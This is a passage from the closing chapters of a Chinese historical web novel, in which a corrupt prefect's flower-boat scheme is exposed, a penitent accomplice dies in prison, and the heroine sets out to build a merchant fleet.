他之所以曾经会被岳逐抓到,主要原因是岳知府身边一直跟着名武功厉害的女子,他打不过那女子,反被对方挑了剑,踩在地上挣扎不了。 只是后来他归顺了岳逐之后,那女子却人间蒸发再也不见,然后对方身边就多了一名平庸妇人钟纯心。 赵大站在暗处,端详了一下女子容颜,忽的表情一滞:“你、你是钟纯心钟管事?你易容?!!” “才发现么?” 钟纯心往前走了几步,似笑非笑:“那你还真蠢。” 赵大自知打不过钟纯心,提步便想要逃,女子却一个翻转挡在身前,匕首旋转着从袖中脱出,就那么一下,一刀毙命。 她的任务完成了。 钟纯心从怀中取出一只酒壶,坐在台阶之上,看着满地的死尸,懒懒的饮了一口。 远处人影晃动,窸窣跑来一名身着鹅黄裙装的女子,陆欣冉疾步而来,待看到她时便不加犹豫地跑到她跟前。 “都这个时候了,你还顾得上喝酒??” 陆欣冉伸手要去拉扯她,却被钟纯心轻易脱开。 钟纯心抬头看陆欣冉,眉眼弯了下:“你醒了?” “对不起。” 二人同时说话。 钟纯心怔了下,“不客气,我救你不过是为了良心能过得去,你也只是个苦命人罢了……” 岳逐给陆欣冉灌下去的毒药无解,好在她赶过去阻止了岳逐。 这些年来,她一直在寻找能让陆欣冉清醒过来的解药,可她遍寻名医,最终也只研制出来个半成品。 那时趁着蕤洲出了新案子,她便有理由从岳逐手里要来陆欣冉,名义上是为了保护弟妹,实则是想试试那药效果如何。 陆欣冉早就醒了,只不过每日仍有一段时间是迷糊的。 所以褚朝云能顺利进到岳逐房间找单据,也是陆欣冉故意装傻,暗中吩咐蒲兰挡一挡门外的看守才能成事。 想到过往的一切,陆欣冉痛哭的呜咽一声,又倔强的要去拉人:“你快跟我走,我给你备好了马车,你连夜出去以后就别再回来了。我知道花船的事非你所愿,所有的事都不是你真心要去做的,你不是坏人,岳逐才是!你也不过是个苦命的女人罢了,快跟我走,求求你!” 钟纯心二次松脱她的手,懒洋洋的靠在门旁,似是极为疲倦般的说道:“不走了。” “我累了。”- 褚朝云和宋谨他们赶到花船时,船娘们已经全部逃下船去。 项辰的父亲虽是一介商贾,但却与管辖的官员是至交好友,所以宋谨才让项辰带着证据回去寻他父亲,并且先调一队人过来帮忙控制住这里的局面。 待那官员将证据呈给圣上,蕤洲的事也就能彻底落定了。 如今船已经空了,其实他们不必上来,但褚朝云既然执意要来,宋谨自是会陪在身边。 女子迎着晚风,一只手拖着长刀,长刀沉重,她握得手酸,但却不愿轻易放下。 没一会儿,长街那侧跑来一人。 那人跑的又急又狼狈,呼呼的喘着粗气。 不过宋谨在府衙待了那么久,只一眼便认出,来的人是岳逐。 褚朝云看到了他,这才缓缓开口说话:“当年蕤洲在岳清非的治理下逐渐得到改善,那一日圣上拨下款项刚好是新年前夕,岳清非很高兴,所以他冒险上了船。” “这事我思来想去多时,却一直不得而解。” “他要庆祝,哪里不行?为何非得要登这条船,可如今他明明有机会逃脱却不肯走,你看,”褚朝云示意宋谨,“都要大难临头了,他却还要上来。” 虽说岳逐确实逃也逃不掉,但如今这个时候,对方的做法的确很叫人费解。 岳逐急着上船,并没有注意到褚朝云他们的存在。 直到跑到船中央,见女子提着刀靠在桅杆边,才表情凝重的停了下来。 “是你?” 岳逐不太认得褚朝云,但却听钟纯心夸过她几次。 问完,似是反应过来了什么,凝固的表情顿时被撕裂。 岳逐几乎疯魔似的瞪大了双眼,狂吼出一声:“这些事情竟是你一小小女子所做?是你勘破了这条船的秘密?是你教唆宋谨帮你的?” “无知妇孺!!!!” 岳逐吼得声嘶力竭。 只是他这样愤怒的呐喊,褚朝云却并不为所动。 女子只是幽幽一笑,举刀压向船板上最高的一条桅杆,做了个要劈砍的动作。 岳逐马上吓出一身冷汗,伸手阻止:“别、你别动他!!” 虽说宋谨无法从音节分辨出岳逐说的是“它”还是“他”,但他本能倾向于后者。 宋谨抬头看了眼桅杆上方,心中忽的冒出一怪异念头,而后,就惊声开口道:“你……你把你弟弟的白骨藏在了桅杆里?!” 岳逐不置可否。 只是这点秘密被旁人道出,他非但不觉得惊悚,反而还露出一副病态的笑容来,“我费尽心思想出的这个妙计,我亲自做了这条桅杆,每一根骨头我都擦拭干净了……常儿最惦念的就是蕤洲的百姓,他当然要站的高高的,才能亲眼目睹哥哥是如何帮他完成遗愿的,不是么?” 说着,岳逐留下了一滴泪,满眼宠溺的望着那根桅杆。 泪水模糊了双眼,失焦一样的陷入回忆之中。 “岳逐你个小兔崽子又不好好用功念书!你就不能像你弟弟一样,先生每次来家中夸完你弟弟就要告你的状!我的脸面何存?!” 岳家阿爹气的眉毛直跳。 岳逐却笑着躲开父亲拍过来的棍子。 “哎呀阿爹,咱家出一个状元郎就行了,你明知我不喜这些死板板的东西,非逼我作甚?” 岳家阿爹:“你不喜?你好意思说?长兄为父,你如此纨绔,将来难不成还要靠常儿养你?” 岳常见状,立刻笑着过来哄他,并且偷偷朝哥哥使了个眼色,“我养哥哥就好了嘛!阿爹不必动气,将来我做了大官,和欣冉一起支撑这个家,我不但能养着兄长,还能养您的呀~” 说到做官,岳逐便随口问了句:“那你可想好去哪里做官了?” “蕤洲。” “蕤洲?那荒僻的地界你去作甚?” 岳常笑道:“做官为了什么?当然是要百姓过上好日子了。去富庶之地那叫锦上添花,我呢,是去给蕤洲雪中送炭的~” 本以为岳常只是说说,没成想他这个弟弟实在争气,最终真的当上了蕤洲知府。 赶赴上任前夕,岳逐收到弟弟来信,岳常说自己在朝中得罪了端异王。 圣上看中岳常的才学,而端异王也想将他收为己用。 可他执意要去蕤洲做知府,上朝那日,端异王还曾奚落过他,说他无论如何也无法帮蕤洲翻身。 岳常与之打赌,放言自己一定能行。 可这赌局还未开始,他便死在了上任途中。 岳逐游学路上遇见钟纯心,对其一见倾心,得知他要来蕤洲看望当知府的弟弟,便决定同来。 岳常前脚刚被山匪杀害,岳逐和钟纯心就赶到了。 临死前,岳常留的最后一句遗言便是:“可惜了……没能帮到蕤洲的百姓……” 岳逐玩心深重,但与同胞弟弟的感情也是无人能及,他痛恨那些劫财害命的山匪,也痛恨自己。 父亲说的对,他本是长兄,却毫无长兄的样子。 岳常不是别人害死的,是他。 因着二人容貌一样,所以他决定取代岳常来当这个蕤洲知府,既然岳常的心愿是让蕤洲富裕起来,他便帮亲弟完成心愿。 所以,他不能让人知道真正的岳常已经死了。 趁着夜,他和钟纯心一起将人神不知鬼不觉地埋在了一处坟堆。 后来,又怕野狗刨坟,就把尸骨转移到了岳府的院墙下。 但陆欣冉并不知晓这一切,以为他就是岳常,还从家中追了过来。可岳逐实在没法将实情讲出,毕竟冒充朝廷官员可是株连九族的大罪。 他不能先害了弟弟,又去害自己的家人。 所以他只有硬着头皮和陆欣冉成亲,但这一步错棋下了,之后也就一发不可收拾了。 钟纯心对他越发失望,几次想走,可他不能放钟纯心离开,如今他手中没有可用之人,钟纯心武功高强,是最能助他成事的。 而且,在他心里,虽说存了几分利用之心,但他也是真的喜欢钟纯心。 起初的几年,他确实兢兢业业的在治理蕤洲,他剿灭山匪,端了勾栏,甚至带着百姓一起下田种地,真心实意的想要帮助这里富裕起来。 可蕤洲地貌特殊,天灾不断。 他努力数次,一场干旱就将他的心血全部毁于一旦。 某次他喝多了酒,疯狂的在院中挖岳常的尸体,可几年过去,尸身已成白骨,再没有一丁点从前的样子了。 他不想再这样下去。 成功,难道真的就没有捷径可走吗? 他命人打造了一条花船,放出了李婆子和赵大协助自己,亲手将岳常的尸骨埋入桅杆里。 他要岳常日日看着,看着他能不能把蕤洲给带动起来。 最初,李婆子一直建议他培养几个姑娘,那些曾经招不来的富户,若是知道了花船里有漂亮姑娘,说不定就能事半功倍。 岳逐承认,他动过心。 可最后还是作罢了。 他的弟弟还“在”船上,他怎能真的做下这种龌龊之事?! 岳常会对他彻底失望的。 所以他严令禁止李婆子动姑娘们的心思,漂亮是必须的,要会说话,要懂客人的心思,但却不必真的出卖身体,只要有能勾住人的本事便可。 该做的都做了,但花船的生意却并没有预想中好。 当那些客人闻名此地的船娘而来,却又只能看不能吃时,众人便失望而归,生意很快没落下去。 前路一再陷入艰难,岳逐也越发心急。 直到某日,一达官显贵来了船上,并且点名要见他。 岳逐见到来人却表现陌生,于是一眼就被来人识破他是假冒之人,因为来的人正是和岳常在朝中打赌的端异王。 岳逐听说过此人,只是没见过面。 端异王俊美,温和,待人接物彬彬有礼,是大祁皇帝唯一看中的一位异姓王爷。 据说端异王曾救过皇帝的命,又是无爹无娘的可怜之人,所以才被皇帝带了回去抚养长大。 而坊间也有传闻,端异王最忌讳名号中间的那个“异”字,名号虽是皇帝亲赐的,但这么做,又似乎是故意在警醒他,无论怎样努力,他也永远不能成为真正金尊玉贵的皇族之人。 他不过是一个异姓的王爷,说的好听叫声王爷,说得难听,与平民百姓没有不同。 端异王提出合作,岳逐又有把柄在对方手中,二人一拍即合。 不能利用姑娘赚钱,唯有另想它法。 最终,岳逐投其所好建议道:“王爷既想要招兵买马,不如暗中发展一批自己的人来用?” 这之后,花船就暗中做起了“买官”行当,收入也日益可观。 而这些收益里,岳逐只从中取用一半来帮助蕤洲的百姓,另一半则“上供”给了端异王。 有了端异王这个大靠山,他便能明目张胆的在各地设置暗桩,若是这里干活的人缺了,便从各地拐来几个填上即可。 他从回忆中抽离,露出呕心沥血的一副表情,“我自认从没用过那些银钱一分,我的吃穿用度,给纯心建立的府邸,那都是从我俸禄中出的。” 所以府中的一应物什才用仿品,因为真品他也买不起。 岳逐直起腰板,站的端端正正,“我并没有半点对不起蕤洲。反而是你,你们,是你们破坏了这里的一切!你们才是蕤洲的罪人!” 褚朝云被此人“大气磅礴”的几句歪理说得止不住笑,笑过,她淡漠发问:“所以,你所做的这一切都是被迫的了?” “若不这样,蕤洲怎能发展起来?我确实是被逼无奈。” “荒谬!” 褚朝云往前迈了两步,刀尖直指:“青州首富宋家,已经答应送银钱过来助你,他们甘愿拿出大半家财,那些家产足够你帮助蕤洲了,你又何来被逼一说?!” 岳逐听得表情一变,却半点话都讲不出来。 他那时已经跟端异王同流合污,而那笔银钱其实是要帮王爷堵上一笔朝中的亏空,端异王中饱私囊,被朝中官员所举报,这才急着管他要钱。 可花船那时尚在初期,根本拿不出太多。 他偶然听得宋半州是个心善之人,才用“帮扶蕤洲百姓”作为借口,给宋家写了求助信。 后被端异王询问时,他和盘托出,端异王眼馋起宋家的家财,所以送了个重犯过去,指使宗富藏在宋家。 宗富妒忌宋半州许久,若宋家倒台,那么他们宗家就是青州首富。 宗富自然乐意帮忙。 见他不言语,褚朝云又道:“再者,你要帮扶蕤洲,为何去其他地方掳人?都到了这个时候,你竟还是毫无愧疚之心么?” 岳逐冷眼看女子,胸中恼恨又起:“我只答应了常儿要保住蕤洲,其他地方的百姓又与我何干?你这无知妇孺没有读过圣贤书便休要大放厥词,成功的路上流点血是正常的,这杀一人能救百人的道理你不懂吗?” “杀一人救百人?” 褚朝云气笑了,“所以那一人的命,便不是命了吗?!” 岳逐:“那也要分轻重而定,你们这些船娘能为蕤洲百姓做出牺牲,你们应该感到庆幸。” 他似是很失望,甩袖哀叹:“女子果然无知,胸中毫无大爱!!” “我们没有大爱?” 褚朝云刀尖逼近,步步逼向他,厉声喝问:“那我问你,若那要杀的一人是你,是你的亲弟,是你的家人,是你的爱人!你又当如何?你说,你该、当、如、何?!!” 岳逐面容一滞。 不得不承认,在那一刻,他给不了那么痛快的答案。 褚朝云瞧着他这副怔住的样子就想笑,女子挥刀砍向他,手起刀落,刀口错开心脏的距离三分,“这一刀,是为那些你所戕害过的女子,也是为我夫君一家的冤案!” 【全文完结】 第101章 大结局 褚朝云一早就被外面吵嚷声给喊醒了,睁眼就看到徐香荷拎了一篮子鸡蛋要往外跑。 昨晚救下的船娘们有的被她安排在客栈暂住,而徐香荷和方如梅则被她给带回了租住的小院,至于劳工们她就不去操心了,由宋谨和褚郁带着人去安排了。 另一方,官员连夜入京上报,祁帝震怒。 天还未亮,监斩官就带着轻骑卫赶来了蕤洲。 此事证据确凿不必再审,除了岳逐,一同被判斩首的还有宗家父子。 褚朝云打了个哈欠坐起身,闻到一股子臭味,“你篮子里的鸡蛋坏了?” 徐香荷贼兮兮一笑:“对呀,方婶子和刁婶子他们都忙着去丢臭鸡蛋,我也不能落下,我要好好的去送一送那几个大恶人!!” 说着,便一溜烟跑了出去。 褚朝云无奈一笑,起身洗漱又换了衣衫,然后亲手做了饭菜去往牢狱。 钟纯心还在牢里。 祁帝念她有悔过之心,而且在最后的关头抓捕岳逐有功,没有判她斩立决,但这辈子,她也出不来了。 面对钟纯心,褚朝云确实狠不下心。 再次来到地牢,女子脚上套着锁链,身上穿着的还是那件红衣。 钟纯心坐在地上,手抱着膝,像是知道她会来而故意在等她一样。 “钟……姐姐。” 褚朝云一时间倒是不知该如何称呼她了。 钟纯心望来一眼,似笑非笑:“你来了。” “嗯,给你送点饭来,你那么瘦,还是要多吃些。” 褚朝云将碗碟一一递进去,钟纯心却并没有接。 女子只是淡淡看着她,问了一句:“褚朝云,若当初你是我,你会如何选择?” 她一直很想知道这件事。 褚朝云也不介意地面脏污,索性坐下来,慢慢思索道:“这世上没有如果,我说不好,但有一点原则我一定会遵循。” “什么?” 褚朝云叹了一声,坚定道:“我不会做坏事,无论对方有什么样的理由,我都不能……助纣为虐。” 褚朝云的话总是会让钟纯心发笑。 果然,女子听到这个答案就开始大笑不止。 笑着笑着,眼泪便流了下来,“褚朝云,或许我早些遇见你,便不会一错再错了。” 沉默过后,女子又道:“你们上次在牢里成亲未免仓促,我树下埋着半坛的女儿红,若你不嫌弃,便取来喝吧。” “褚朝云,你说得对,无论什么样的理由,都不能助纣为虐。” “所以,是我错了。” 褚朝云笑着把炸的金黄酥脆的鸡排往前推推,“知错能改善莫大焉,快来尝尝这鸡排炸的可好?这次做的,肯定比以前的好吃许多,千万别错过。” 钟纯心盯着鸡排发了会儿呆,还是给面子的拿起一块,“好吃。” 她难得说道。 褚朝云讶然:“没想到你也会夸人啊?” 钟纯心无所谓的笑笑:“怎么不会?你不是说……我们是朋友吗?” 褚朝云听到她声音里的嘶哑,重重点头道:“对,无论如何,我们都是朋友。” 钟纯心弯唇,真诚的笑了一下:“朝云,我今生的罪孽怕是还不清了。可我生长在天地间,以往也自由惯了,被困在这蕤洲的十五年,我已经变得越来越不像自己了。” “如今有机会做回自己,我觉得无比自由。” “现在,朋友也见了,东西也吃了,我对这世间的一切再无遗憾。你是干干净净的,既要做你的朋友,那我也该是干干净净的……” 女子声音哽咽,停顿之后继续道:“但我这辈子恐怕做不到了,不过没关系,我们下辈子……还有机会。” “半坛女儿红,贺你新婚。” “很高兴认识你,褚朝云。” 话毕,一枚精致的匕首插入心间,女子优雅倒地,再无声息。 “我阿爹说,这把匕首赠我,叫我时时带着,只杀奸佞。” 褚朝云默默闭上眼,钟纯心的话还回荡在耳边- 转眼三个月过去,蕤洲的一切恢复如常。 只是没了那条船,昔日的盛景似是被冲淡了不少。 蕤洲的确是一块难啃的骨头,岳逐说的没错,只是他用错了方法。 这几日,程月一直催促着她去京都参加比赛,“如今你只是蕤洲第九,离大祁名厨第一还远着呢,你好好准备,这次我陪你进京。” “我不要去。” 褚朝云压根就不介意自己是不是名厨。 程月不解的看着她,歪头想了想,“难不成,你就打算靠着这些生意过活一辈子了?” 虽说花船没了,可那些被她救下的船娘和劳工们却都去而复返,甚至还拖家带口的搬来了蕤洲,说是要死心塌地跟着她大干一场。 可案子结束的这三个月,褚朝云什么都没做,生意的事全推给褚惜兰和褚郁,自己则闷头躲在屋子里写写画画,也不知在忙什么。 程月不太懂情爱,想到宋谨进京三月未归,便琢磨道:“难不成是你夫君走了,你就要变望夫石了?” “……” 褚朝云收起那一堆画的乱七八糟的图纸,直接把程月推了出去,“什么望夫石啊,我可是新时代的女性,男人而已,谁会想他~” 正说着,门外褚郁清亮的声音传来:“阿姐,姐夫回来啦!!” 程月正想叫她,褚朝云就风一阵的跑了出去。 案子破获,祁帝得知过程很欣赏他们夫妇,本邀二人一同入京,奈何褚朝云并不想面圣,所以就只能宋谨单独去了。 岳逐被抓当晚,宋谨就把宋半州夫妇从客栈接了出来,暂时安顿在他们的院子里。 而褚朝云和宋谨那日牢里成婚虽说仓促,但总归是有了名分的,所以宋谨就和父母一起搬来了她这儿。 如今两家人住在一块,日常也很是热闹。 只是宋谨这么做,一向爱说八卦的穆青,便总揪着他,笑他要给褚家做倒插门。 褚朝云着实感受到了躺平的乐趣,两家人在一起,饭有双方父母做,生意也有她的兄弟姐妹去操心,她每日窝在房中乐得逍遥,小日子过得舒舒服服。 见宋谨快马而归,褚朝云笑着迎了出去。 二人在秋日的街头相拥,连身边有围观者偷笑都没去理。 “娘子,你可想我?” 马被累弯了腰,男子也赶路赶得面容绯红。 褚朝云眨眨眼,慢吞吞用手点了一下对方脑袋瓜:“我想你的……头。” “?” 褚朝云笑呵呵地把人拉到屋中。 宋谨便道:“祁帝很欣赏我,考教了我不少学问之后,便破格要提升我为蕤洲新任知府。原本三日后才能回来,但我……咳,很想你,所以提前赶了回来。” “嗯,我夫君优秀。” 褚朝云不在意宋谨做不做官,她把自己那堆图纸拿出来,一一摊开:“你懂不懂造船?快来帮我看看我画的图还缺什么不?” “造船?” 宋谨不解。 褚朝云在脑中畅想一番,而后斩钉截铁道:“对,我要造一条大船。” “为何?” 宋谨认真听着。 女子微微一笑,满目憧憬:“既然大家伙都要跟着我做事,那我也不想大家只能困在这蕤洲城里,蕤洲确实资源匮乏,而且花船案一破,百姓们也当真受到了影响。” “不过没关系,从前那种方式毕竟错了,不可取。但这事既是我做的,我自然也要做好善后工作嘛。” 她说着,转身看向宋谨,眼睛亮亮道:“宋谨,你听过商队吗?我要造船,我要带着大家出去,我也要打造一支商队,带着大家共同致富。” “我想要做海商!” 女子拍板道。 …… 粼粼波光之上,西码头停着一艘新的大船,船长百米,恢弘庞大。 一伙人正热火朝天的往船上搬运货物。 船头挂着一面棕色的旗子,上方一个硕大的“褚”字清晰惹眼,褚朝云抬头看船,在她身后还站着不少熟悉的面孔。 这是他们第一次出行,从蕤河出发,一路南下。 其实对于这件事能否做成,褚朝云心里也不是特别有底,可她就是这样的性子,敢想敢干,胆子大过天。 就好比穿来那日,她也没想过自己会上了花船,还会遇到之后那一系列的事情。 命途多舛,总有失败,可失败了,大不了重头再来。 这是她出发前,和大家伙说过的唯一一句话。 “褚老板,吉时到啦!” 刘新才笑着在身后提醒她。 一挂鞭炮在西码头点燃,噼里啪啦的炮声之中,褚朝云抬手一挥,大声说道:“走,大家伙跟我上船!” 远处,还在跟褚郁告别的项辰则又固执的问了一句,“小郁,你真的不跟我去京中念书?” “不去,我要跟着阿姐。” 褚郁眼角通红,抱了抱自己的小伙伴,“但我也舍不得你。” 见项辰没说话,他又道:“你要去读书,那之后呢?也跟我姐夫一样去哪里当个知府吗?” 项辰抿唇一笑:“朝中职位多了,哪就非要做知府了。” “五年……五年你能回来吗?” 褚郁希冀地问。 项辰估算了下,“差不多吧。” “好,那咱们就定一个五年之约!五年的时间……你去朝里做大官,到时候我阿姐的海商队也应该做的似模似样了。五年之后的八月十五,我们还在蕤洲相聚,还要一起吃团圆饭!” “好。” 项辰郑重地点了下头,翻身上马。 鲜衣怒马,少年扬长而去,长街两侧繁花吹起,少年的身影逐渐模糊。 出城之后,少年一路直奔山巅。 一缕橙光照进蕤洲,蕤河上的船慢慢行远,百姓们送别大伙,又各自做回了各自的事。 如今的蕤洲夜不闭户,路不拾遗,被新任知府宋谨治理的井井有条。 也不知褚朝云的船多久才能归来? 项辰清润一笑,长扬马鞭,从山的另一侧下来直奔京都。 少年行在风中却难忘这里的一切,蕤洲的一草一木皆是温柔的,他脑中依依闪过那些和蔼的面孔,褚朝云,宋谨,褚郁,还有其他相熟相知的亲人们。 五年后再见。 一鞭挥下,少年也消失在了风里。 全文完